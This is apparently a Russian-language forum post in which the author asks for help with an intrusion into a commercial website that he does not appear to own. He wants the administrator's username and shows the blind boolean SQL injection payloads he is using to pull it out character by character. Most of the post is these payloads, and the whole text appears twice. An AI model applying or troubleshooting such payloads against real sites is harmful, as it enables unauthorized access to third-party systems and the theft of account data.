Есть коммерческий проект. Нашел там десткую уязвимость типа неавторизированного доступа. Для ее реализции мне нужен ник админа.
Там же нашел пару инъекций первая дала мне представление о структуре таблиц, вторая платформа для реализации атаки.
1)SELECT users.id FROM users WHERE users.login='Fourty'
след:
Таблица users:
---------------
| users.id |
---------------
| users.login|
---------------
| etc... |
2)SELECT phonebook.id FROM phonebook WHERE phonebook.num = [inj type(int)] AND phonebook.name='[inj type(string)]'
Проблема:
№1 кавычки ' " фильтруются => работаем с числами
№2 результат нигде не выводиться => Используем посимвольный перебор бд
След:
SELECT phonebook.id FROM phonebook WHERE phonebook.num = 123
AND ascii(lower(substring(
(SELECT users.login FROM users WHERE users.id=1),1,1
)))>1
AND phonebook.name='qwe'
Не работает (
Пробуем:
SELECT phonebook.id FROM phonebook WHERE phonebook.num = 123
AND ascii(lower(substring(
user(),1,1
)))>1
AND phonebook.name='qwe'
ВСЕ ОК!!
"Может таблица users в другой бд"- подумал я. Попробовал:
SELECT phonebook.id FROM phonebook WHERE phonebook.num = 123
AND ascii(lower(substring(
(SELECT phonebook.id FROM phonebook WHERE phonebook.num = 123),1,1
)))>1
AND phonebook.name='qwe'
Опять облом. Возможно ли в бд отключить подзапросы? Или что это вообще может быть?
Там же нашел пару инъекций первая дала мне представление о структуре таблиц, вторая платформа для реализации атаки.
1)SELECT users.id FROM users WHERE users.login='Fourty'
след:
Таблица users:
---------------
| users.id |
---------------
| users.login|
---------------
| etc... |
2)SELECT phonebook.id FROM phonebook WHERE phonebook.num = [inj type(int)] AND phonebook.name='[inj type(string)]'
Проблема:
№1 кавычки ' " фильтруются => работаем с числами
№2 результат нигде не выводиться => Используем посимвольный перебор бд
След:
SELECT phonebook.id FROM phonebook WHERE phonebook.num = 123
AND ascii(lower(substring(
(SELECT users.login FROM users WHERE users.id=1),1,1
)))>1
AND phonebook.name='qwe'
Не работает (
Пробуем:
SELECT phonebook.id FROM phonebook WHERE phonebook.num = 123
AND ascii(lower(substring(
user(),1,1
)))>1
AND phonebook.name='qwe'
ВСЕ ОК!!
"Может таблица users в другой бд"- подумал я. Попробовал:
SELECT phonebook.id FROM phonebook WHERE phonebook.num = 123
AND ascii(lower(substring(
(SELECT phonebook.id FROM phonebook WHERE phonebook.num = 123),1,1
)))>1
AND phonebook.name='qwe'
Опять облом. Возможно ли в бд отключить подзапросы? Или что это вообще может быть?